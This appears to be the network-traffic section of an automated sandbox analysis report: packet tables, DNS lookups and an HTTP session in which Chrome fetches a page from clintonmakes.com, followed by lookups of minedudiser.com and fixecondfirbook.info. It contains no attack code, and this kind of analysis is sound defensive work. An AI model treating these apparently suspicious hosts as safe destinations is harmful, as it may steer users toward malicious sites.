Jan 16, 2025 17:21:29.210333109 CET	443	49712	40.126.32.74	192.168.2.6
Jan 16, 2025 17:21:29.210412979 CET	49712	443	192.168.2.6	40.126.32.74
Jan 16, 2025 17:21:29.213224888 CET	443	49718	40.126.32.74	192.168.2.6
Jan 16, 2025 17:21:29.213291883 CET	49718	443	192.168.2.6	40.126.32.74
Jan 16, 2025 17:21:36.214947939 CET	443	57922	216.58.206.36	192.168.2.6
Jan 16, 2025 17:21:36.215035915 CET	443	57922	216.58.206.36	192.168.2.6
Jan 16, 2025 17:21:36.215095043 CET	57922	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:21:37.407172918 CET	57922	443	192.168.2.6	216.58.206.36
Jan 16, 2025 17:21:37.407206059 CET	443	57922	216.58.206.36	192.168.2.6
Jan 16, 2025 17:21:40.306118011 CET	57924	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.306171894 CET	443	57924	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:40.306236982 CET	57924	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.306516886 CET	57924	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.306529045 CET	443	57924	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:40.776637077 CET	443	57924	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:40.776952028 CET	57924	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.776971102 CET	443	57924	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:40.780488968 CET	443	57924	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:40.780567884 CET	57924	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.782068014 CET	57924	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.782130957 CET	57924	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.782171965 CET	443	57924	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:40.782254934 CET	57924	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.782264948 CET	443	57924	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:40.782274008 CET	57924	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.782309055 CET	57924	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.782577038 CET	57925	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.782623053 CET	443	57925	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:40.782691002 CET	57925	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.782879114 CET	57925	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:40.782892942 CET	443	57925	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:41.261899948 CET	443	57925	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:41.262260914 CET	57925	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:41.262291908 CET	443	57925	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:41.263164043 CET	443	57925	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:41.263345003 CET	57925	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:41.263758898 CET	57925	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:41.263817072 CET	443	57925	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:41.263916016 CET	57925	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:41.310641050 CET	57925	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:41.310651064 CET	443	57925	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:41.357779980 CET	57925	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:41.871747971 CET	443	57925	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:41.872020960 CET	443	57925	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:41.872145891 CET	57925	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:41.872786045 CET	57925	443	192.168.2.6	172.67.168.162
Jan 16, 2025 17:21:41.872828007 CET	443	57925	172.67.168.162	192.168.2.6
Jan 16, 2025 17:21:41.879362106 CET	57926	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:41.879451990 CET	443	57926	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:41.879897118 CET	57926	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:41.879897118 CET	57926	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:41.879939079 CET	443	57926	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:42.350393057 CET	443	57926	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:42.378617048 CET	57926	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.378637075 CET	443	57926	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:42.380183935 CET	443	57926	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:42.380254984 CET	57926	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.381270885 CET	57926	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.381270885 CET	57926	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.381371021 CET	443	57926	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:42.381376982 CET	57926	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.381431103 CET	57926	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.381649017 CET	57927	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.381743908 CET	443	57927	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:42.381820917 CET	57927	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.381997108 CET	57927	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.382028103 CET	443	57927	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:42.877244949 CET	443	57927	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:42.877490997 CET	57927	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.877517939 CET	443	57927	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:42.878933907 CET	443	57927	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:42.879007101 CET	57927	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.879369974 CET	57927	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.879468918 CET	443	57927	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:42.879491091 CET	57927	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.919734955 CET	57927	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:42.919759989 CET	443	57927	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:42.966171980 CET	57927	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:44.287049055 CET	443	57927	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:44.287292004 CET	443	57927	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:44.287435055 CET	57927	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:44.289191961 CET	57927	443	192.168.2.6	104.21.94.195
Jan 16, 2025 17:21:44.289237976 CET	443	57927	104.21.94.195	192.168.2.6
Jan 16, 2025 17:21:44.296258926 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:44.296322107 CET	443	57928	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:44.296413898 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:44.296592951 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:44.296607971 CET	443	57928	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:44.797028065 CET	443	57928	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:44.842848063 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:44.896492004 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:44.896513939 CET	443	57928	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:44.900420904 CET	443	57928	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:44.900516033 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:44.919570923 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:44.919739962 CET	443	57928	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:44.919778109 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:44.963361979 CET	443	57928	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:44.967663050 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:44.967684031 CET	443	57928	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.018795013 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.048257113 CET	443	57928	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.048439026 CET	443	57928	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.048505068 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.048585892 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.048612118 CET	443	57928	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.048626900 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.048661947 CET	57928	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.049462080 CET	57929	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.049518108 CET	443	57929	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.049747944 CET	57929	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.049947023 CET	57929	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.049973011 CET	443	57929	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.509604931 CET	443	57929	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.509902954 CET	57929	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.509921074 CET	443	57929	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.511065960 CET	443	57929	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.511414051 CET	57929	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.511521101 CET	443	57929	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.511549950 CET	57929	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.555337906 CET	443	57929	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.561682940 CET	57929	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.636404991 CET	443	57929	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.636600971 CET	443	57929	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.636666059 CET	57929	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.636837959 CET	57929	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.636859894 CET	443	57929	35.190.80.1	192.168.2.6
Jan 16, 2025 17:21:45.636868954 CET	57929	443	192.168.2.6	35.190.80.1
Jan 16, 2025 17:21:45.636912107 CET	57929	443	192.168.2.6	35.190.80.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 16, 2025 17:20:21.224016905 CET	50932	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:21.224586964 CET	59126	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:21.232053041 CET	53	56764	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:21.259038925 CET	53	55458	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:21.262381077 CET	53	59126	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:21.384708881 CET	53	50932	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:22.443495035 CET	53	54935	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:22.794055939 CET	62327	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:22.794399023 CET	57913	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:22.835685015 CET	53	62327	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:22.842433929 CET	53	57913	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:23.853024006 CET	50839	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:23.853507042 CET	57045	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:24.120100975 CET	53	57045	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:24.277298927 CET	53	50839	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:25.379697084 CET	52391	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:25.380099058 CET	53295	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:25.386961937 CET	53	53295	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:25.400059938 CET	53	52391	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:25.509608984 CET	53	57693	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:25.579838037 CET	60481	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:25.580203056 CET	60535	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:25.586785078 CET	53	60481	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:25.586903095 CET	53	60535	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:27.264938116 CET	53	57530	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:28.190412998 CET	53	62826	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:28.608261108 CET	54297	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:28.608706951 CET	62658	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:28.616403103 CET	53	54297	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:28.619354963 CET	53	62658	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:28.701827049 CET	53	49444	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:28.707283974 CET	57359	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:28.707421064 CET	63718	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:28.714622021 CET	53	63718	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:28.715444088 CET	53	57359	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:29.727469921 CET	56656	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:29.727897882 CET	51829	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:20:29.735069036 CET	53	56656	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:29.735790014 CET	53	51829	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:32.821959019 CET	53	61771	162.159.36.2	192.168.2.6
Jan 16, 2025 17:20:33.333606958 CET	53	54516	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:39.429665089 CET	53	56048	1.1.1.1	192.168.2.6
Jan 16, 2025 17:20:58.475374937 CET	53	49724	1.1.1.1	192.168.2.6
Jan 16, 2025 17:21:20.790472031 CET	53	49494	1.1.1.1	192.168.2.6
Jan 16, 2025 17:21:20.974731922 CET	53	63774	1.1.1.1	192.168.2.6
Jan 16, 2025 17:21:22.754899025 CET	53	63002	1.1.1.1	192.168.2.6
Jan 16, 2025 17:21:40.284472942 CET	50629	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:21:40.285211086 CET	61830	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:21:40.291472912 CET	53	50629	1.1.1.1	192.168.2.6
Jan 16, 2025 17:21:40.305639029 CET	53	61830	1.1.1.1	192.168.2.6
Jan 16, 2025 17:21:44.288482904 CET	58730	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:21:44.288769960 CET	51901	53	192.168.2.6	1.1.1.1
Jan 16, 2025 17:21:44.295592070 CET	53	58730	1.1.1.1	192.168.2.6
Jan 16, 2025 17:21:44.295809984 CET	53	51901	1.1.1.1	192.168.2.6
Jan 16, 2025 17:21:51.387691021 CET	53	53985	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 16, 2025 17:20:21.224016905 CET	192.168.2.6	1.1.1.1	0xbf1b	Standard query (0)	clintonmakes.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:21.224586964 CET	192.168.2.6	1.1.1.1	0x307b	Standard query (0)	clintonmakes.com	65	IN (0x0001)	false
Jan 16, 2025 17:20:22.794055939 CET	192.168.2.6	1.1.1.1	0x6faa	Standard query (0)	clintonmakes.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:22.794399023 CET	192.168.2.6	1.1.1.1	0x2965	Standard query (0)	clintonmakes.com	65	IN (0x0001)	false
Jan 16, 2025 17:20:23.853024006 CET	192.168.2.6	1.1.1.1	0x318a	Standard query (0)	minedudiser.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:23.853507042 CET	192.168.2.6	1.1.1.1	0xdc4b	Standard query (0)	minedudiser.com	65	IN (0x0001)	false
Jan 16, 2025 17:20:25.379697084 CET	192.168.2.6	1.1.1.1	0xf0df	Standard query (0)	fixecondfirbook.info	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:25.380099058 CET	192.168.2.6	1.1.1.1	0x16e3	Standard query (0)	fixecondfirbook.info	65	IN (0x0001)	false
Jan 16, 2025 17:20:25.579838037 CET	192.168.2.6	1.1.1.1	0xecf6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:25.580203056 CET	192.168.2.6	1.1.1.1	0xf6e8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 16, 2025 17:20:28.608261108 CET	192.168.2.6	1.1.1.1	0x1e4	Standard query (0)	fixecondfirbook.info	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:28.608706951 CET	192.168.2.6	1.1.1.1	0xaa78	Standard query (0)	fixecondfirbook.info	65	IN (0x0001)	false
Jan 16, 2025 17:20:28.707283974 CET	192.168.2.6	1.1.1.1	0xa6dc	Standard query (0)	q-xx.bstatic.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:28.707421064 CET	192.168.2.6	1.1.1.1	0x23b3	Standard query (0)	q-xx.bstatic.com	65	IN (0x0001)	false
Jan 16, 2025 17:20:29.727469921 CET	192.168.2.6	1.1.1.1	0x87af	Standard query (0)	q-xx.bstatic.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:29.727897882 CET	192.168.2.6	1.1.1.1	0xb07c	Standard query (0)	q-xx.bstatic.com	65	IN (0x0001)	false
Jan 16, 2025 17:21:40.284472942 CET	192.168.2.6	1.1.1.1	0xc364	Standard query (0)	fixecondfirbook.info	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:21:40.285211086 CET	192.168.2.6	1.1.1.1	0x7d1d	Standard query (0)	fixecondfirbook.info	65	IN (0x0001)	false
Jan 16, 2025 17:21:44.288482904 CET	192.168.2.6	1.1.1.1	0x42d1	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:21:44.288769960 CET	192.168.2.6	1.1.1.1	0x9902	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 16, 2025 17:20:21.384708881 CET	1.1.1.1	192.168.2.6	0xbf1b	No error (0)	clintonmakes.com		66.63.187.216	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:22.835685015 CET	1.1.1.1	192.168.2.6	0x6faa	No error (0)	clintonmakes.com		66.63.187.216	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:24.277298927 CET	1.1.1.1	192.168.2.6	0x318a	No error (0)	minedudiser.com		186.64.116.70	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:25.386961937 CET	1.1.1.1	192.168.2.6	0x16e3	No error (0)	fixecondfirbook.info			65	IN (0x0001)	false
Jan 16, 2025 17:20:25.400059938 CET	1.1.1.1	192.168.2.6	0xf0df	No error (0)	fixecondfirbook.info		172.67.168.162	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:25.400059938 CET	1.1.1.1	192.168.2.6	0xf0df	No error (0)	fixecondfirbook.info		104.21.94.195	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:25.586785078 CET	1.1.1.1	192.168.2.6	0xecf6	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:25.586903095 CET	1.1.1.1	192.168.2.6	0xf6e8	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 16, 2025 17:20:28.616403103 CET	1.1.1.1	192.168.2.6	0x1e4	No error (0)	fixecondfirbook.info		104.21.94.195	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:28.616403103 CET	1.1.1.1	192.168.2.6	0x1e4	No error (0)	fixecondfirbook.info		172.67.168.162	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:28.619354963 CET	1.1.1.1	192.168.2.6	0xaa78	No error (0)	fixecondfirbook.info			65	IN (0x0001)	false
Jan 16, 2025 17:20:28.714622021 CET	1.1.1.1	192.168.2.6	0x23b3	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:28.714622021 CET	1.1.1.1	192.168.2.6	0x23b3	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:28.714622021 CET	1.1.1.1	192.168.2.6	0x23b3	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:28.715444088 CET	1.1.1.1	192.168.2.6	0xa6dc	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:28.715444088 CET	1.1.1.1	192.168.2.6	0xa6dc	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:28.715444088 CET	1.1.1.1	192.168.2.6	0xa6dc	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:28.715444088 CET	1.1.1.1	192.168.2.6	0xa6dc	No error (0)	d2i5gg36g14bzn.cloudfront.net		13.32.99.51	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:28.715444088 CET	1.1.1.1	192.168.2.6	0xa6dc	No error (0)	d2i5gg36g14bzn.cloudfront.net		13.32.99.94	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:28.715444088 CET	1.1.1.1	192.168.2.6	0xa6dc	No error (0)	d2i5gg36g14bzn.cloudfront.net		13.32.99.82	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:28.715444088 CET	1.1.1.1	192.168.2.6	0xa6dc	No error (0)	d2i5gg36g14bzn.cloudfront.net		13.32.99.59	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:29.735069036 CET	1.1.1.1	192.168.2.6	0x87af	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:29.735069036 CET	1.1.1.1	192.168.2.6	0x87af	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:29.735069036 CET	1.1.1.1	192.168.2.6	0x87af	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:29.735069036 CET	1.1.1.1	192.168.2.6	0x87af	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.129	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:29.735069036 CET	1.1.1.1	192.168.2.6	0x87af	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.49	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:29.735069036 CET	1.1.1.1	192.168.2.6	0x87af	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.18	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:29.735069036 CET	1.1.1.1	192.168.2.6	0x87af	No error (0)	d2i5gg36g14bzn.cloudfront.net		18.245.31.53	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:20:29.735790014 CET	1.1.1.1	192.168.2.6	0xb07c	No error (0)	q-xx.bstatic.com	xx.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:29.735790014 CET	1.1.1.1	192.168.2.6	0xb07c	No error (0)	xx.bstatic.com	cf.bstatic.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:20:29.735790014 CET	1.1.1.1	192.168.2.6	0xb07c	No error (0)	cf.bstatic.com	d2i5gg36g14bzn.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 17:21:40.291472912 CET	1.1.1.1	192.168.2.6	0xc364	No error (0)	fixecondfirbook.info		172.67.168.162	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:21:40.291472912 CET	1.1.1.1	192.168.2.6	0xc364	No error (0)	fixecondfirbook.info		104.21.94.195	A (IP address)	IN (0x0001)	false
Jan 16, 2025 17:21:40.305639029 CET	1.1.1.1	192.168.2.6	0x7d1d	No error (0)	fixecondfirbook.info			65	IN (0x0001)	false
Jan 16, 2025 17:21:44.295592070 CET	1.1.1.1	192.168.2.6	0x42d1	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

clintonmakes.com

minedudiser.com

fixecondfirbook.info

tse1.mm.bing.net

https:

q-xx.bstatic.com

a.nel.cloudflare.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49754	66.63.187.216	80	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 16, 2025 17:20:22.881623983 CET	468	OUT	GET /215c/ HTTP/1.1 Host: clintonmakes.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: f5510ad44=0ad448213ea0
Jan 16, 2025 17:20:23.792651892 CET	448	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:23 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked server: Apache/2.4.37 (Rocky Linux) Content-Encoding: gzip Data Raw: 66 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 91 b1 6e c3 20 10 86 5f 85 b2 78 72 69 33 a5 8e ed 25 cd dc 0e 59 3a 45 04 2e 36 aa 01 e7 38 da fa ed 4b 62 a7 b2 54 45 f2 c2 e9 a4 ef ff 38 b8 f2 e1 f5 6d bb ff 78 df b1 96 6c 57 97 d3 09 52 d7 25 19 ea a0 2e c5 54 2d 90 4c 14 f5 39 9c a3 f9 aa f8 d6 3b 02 47 f9 7e e8 81 33 35 76 15 27 f8 21 71 f1 6c 98 6a 25 06 a0 2a d2 29 5f f3 49 e1 a4 85 44 7d 1b 22 c0 42 49 d4 b3 70 88 d6 4a 1c 0e 9d c4 06 0e c6 ca 06 6e b9 1e 7d 0f 48 43 c5 7d 53 5c 67 9a e5 b8 f8 47 dd 6e 58 80 26 a1 86 a0 d0 f4 64 bc 5b a6 5d 1c 48 f2 f1 1d 33 ea ae f5 1e 39 fb f7 0c e1 84 10 da ec 8f ca 9e 36 2c 62 57 5d a0 50 08 61 8d 03 1d b5 09 80 8f ca 5b 71 f4 fe d3 e8 f5 6a f5 f2 9c a5 7d 8e db 3d 7a 3d a4 66 2a d7 bd b3 5f 9e 07 89 53 0e 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: fcn _xri3%Y:E.68KbTE8mxlWR%.T-L9;G~35v'!qlj%)_ID}"BIpJn}HC}S\gGnX&d[]H396,bW]Pa[qj}=z=f_S0
Jan 16, 2025 17:20:23.854291916 CET	381	OUT	GET /favicon.ico HTTP/1.1 Host: clintonmakes.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://clintonmakes.com/215c/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
